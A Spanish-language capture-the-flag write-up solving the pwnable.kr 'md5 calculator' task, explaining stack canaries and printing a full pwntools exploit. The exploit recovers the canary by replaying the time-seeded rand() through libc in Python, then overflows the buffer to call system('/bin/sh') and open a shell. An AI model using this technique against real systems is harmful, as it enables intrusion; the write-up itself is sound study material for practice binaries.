En este artículo, resolveremos la tarea número 23 del sitio
pwnable.kr , descubriremos qué es el stack canary y conectamos libc en python.
Información organizacionalEspecialmente para aquellos que quieran aprender algo nuevo y desarrollarse en cualquiera de las áreas de información y seguridad informática, escribiré y hablaré sobre las siguientes categorías:
- PWN;
- criptografía (criptografía);
- tecnologías de red (Red);
- inversa (ingeniería inversa);
- esteganografía (Stegano);
- búsqueda y explotación de vulnerabilidades WEB.
Además de esto, compartiré mi experiencia en informática forense, análisis de malware y firmware, ataques a redes inalámbricas y redes de área local, realización de pentests y escritura de exploits.
Para que pueda conocer nuevos artículos, software y otra información, creé un
canal en Telegram y un
grupo para discutir cualquier problema en el campo de ICD. Además, consideraré personalmente sus solicitudes personales, preguntas, sugerencias y recomendaciones
personalmente y responderé a todos .
Toda la información se proporciona solo con fines educativos. El autor de este documento no tiene ninguna responsabilidad por los daños causados a alguien como resultado del uso de los conocimientos y métodos obtenidos como resultado de estudiar este documento.
Pila canario
Los canarios son valores conocidos que se colocan entre el búfer y los datos de control en la pila para monitorear los desbordamientos del búfer. Después de un desbordamiento del búfer, los primeros datos que se corrompen suelen ser un canario. Por lo tanto, se verificará el valor del canario y, si la verificación falla, se indicará un desbordamiento del búfer. Hay tres tipos de canarios:
- Terminator Los canarios se construyen a partir de terminadores nulos, CR, LF y -1. Como resultado, el atacante debe escribir un carácter nulo antes de escribir la dirección de retorno para evitar cambiar el canario. Esto evita ataques usando strcpy () y otros métodos que regresan al copiar un carácter nulo, mientras que el canario es indeseable.
- Al azar Generado aleatoriamente. Por lo general, se genera un canario aleatorio durante la inicialización del programa y se almacena en una variable global. Esta variable generalmente se complementa con páginas sin asignar, por lo que intentar leerla utilizando cualquier truco que use errores para leer desde la RAM provoca un error de segmentación que termina el programa.
- Random XOR. Canarios aleatorios que pelean con datos de control. Por lo tanto, tan pronto como el canario o los datos de control estén obstruidos, el valor del canario será incorrecto. Tienen las mismas vulnerabilidades que los canarios aleatorios, excepto que el método "leer desde la pila" para obtener canarios es un poco más complicado. El atacante debe recibir el canario, el algoritmo y los datos de control para regenerar el canario original necesario para falsificar la protección.
Solución del trabajo de calculadora md5
Continuamos la segunda sección. Diré de inmediato que es más difícil que el primero y que no tenemos el código fuente de las aplicaciones. No te olvides de la discusión
aquí . Empecemos
Haga clic en el icono con la calculadora md5 de firma. Se nos da la dirección y el puerto para la conexión y el programa en sí.

Descarga todo lo que nos dan, revisa el binario.

Este es un elfo de 32 bits con una pila canaria y no ejecutable instalada. Descompilamos en IDA Pro.

El programa tiene una verificación de captcha incorporada. Vemos dos funciones que son funciones interesantes: my_hash () y process_hash (). Comencemos con el primero.

Vamos a redefinir los tipos de variables y hacer que el código sea más fácil de analizar:

Por lo tanto, la función devolverá algún número aleatorio. Al mismo tiempo, v3 son datos en la dirección EBP-0xC. Echemos un vistazo a otra función.

Aquí, la variable v4 obtiene el valor en la dirección EBP-0xC, y luego pelea a la salida de la función con este valor. A continuación, se asignan 512 bytes para la variable v3, la entrada del teclado se lee en la variable g_buf. Después de eso, la cadena de g_buf se decodifica en Base64 y se escribe en v3. A partir de v3 se calcula el hash md5. Por lo tanto, la entrada a g_buf y la copia a v3 no están limitadas, por lo tanto, hay un desbordamiento del búfer. Echemos un vistazo a la pila.

La variable v3 es el canario de pila ubicado después del búfer. El programa también llama a la función de los sistemas. Bueno, crearemos una plantilla para un exploit.
from pwn import * p = remote('127.0.0.1', 9002) p.recvuntil('captcha : ') captcha = int(p.recv()) p.sendline(str(captcha)) p.interactive()
Para empezar, veamos la carga útil. Debemos llamar a la función del sistema con el parámetro "/ bin / sh". Pero como la pila no es ejecutable, llamaremos a la función del sistema, pasando el control a su dirección en el programa y, como parámetro, la dirección a la línea "/ bin / sh", que escribiremos en g_buf.
Por lo tanto (mire la pila): necesita escribir 512 bytes de basura, luego 4 bytes del valor canario y luego otros 12 bytes de basura. Ahora para ret tenemos que especificar la dirección de la función del sistema (4 bytes), la dirección de la cadena "/ bin / sh" (4 bytes) y la cadena "/ bin / sh" en sí.
Ahora encuentre las incógnitas: la dirección de llamada del sistema.

Esto es 0x8049187. Y la dirección de la cadena es "bin / sh". Para hacer esto, necesitamos agregar el número de bytes a la dirección g_buf a la línea "/ bin / sh", teniendo en cuenta la codificación base64; esto es 4/3 del valor original.

Es decir, la dirección de la línea: 0x804b0e0 + (512 + 4 + 12 + 4 + 4 + 1) * 4/3 = 0x804b3ac. Componga la carga útil.
payload = 'A' * 512 payload += p32(canary) payload += 'A' * 12 payload += p32(0x8049187) payload += p32(0x804b3ac) payload = b64e(payload) payload += "/bin/sh\x00"
Queda por encontrar el canario. Como descubrimos, se resume con valores aleatorios en la función my_hash (), que como resultado nos da un canario. Y srand (tiempo (0)) se utiliza como semilla para la función rand. Es decir, si repetimos el procedimiento en nuestro exploit y luego restamos el valor generado de la cookie enviada, encontraremos el canario. Llame a rand () desde libc en python.
from ctypes import * import os import time libc=CDLL('libc.so.6') t = int(time.time()) libc.srand(t) n = [libc.rand() for _ in range(8)] canary = captcha - n[1] - n[5] - n[2] + n[3] - n[7] - n[4] + n[6] canary &= 0xffffffff
Eso es todo. El código completo se ve así.
from pwn import * from ctypes import * import os import time libc=CDLL('libc.so.6') t = int(time.time()) libc.srand(t) n = [libc.rand() for _ in range(8)] p = remote('127.0.0.1', 9002) p.recvuntil('captcha : ') captcha = int(p.recv()) p.sendline(str(captcha)) canary = captcha - n[1] - n[5] - n[2] + n[3] - n[7] - n[4] + n[6] canary &= 0xffffffff payload = 'A' * 512 payload += p32(canary) payload += 'A' * 12 payload += p32(0x8049187) payload += p32(0x804b3ac) payload = b64e(payload) payload += "/bin/sh\x00" p.sendline(payload) p.interactive()
Lo comencé varias veces y no funcionó, luego me di cuenta de que debido a la velocidad de Internet y la diferencia horaria, el resultado de rand () no coincide. Lanzado en el servidor.

Obtenemos la bandera deseada. Puedes unirte a nosotros en
Telegram .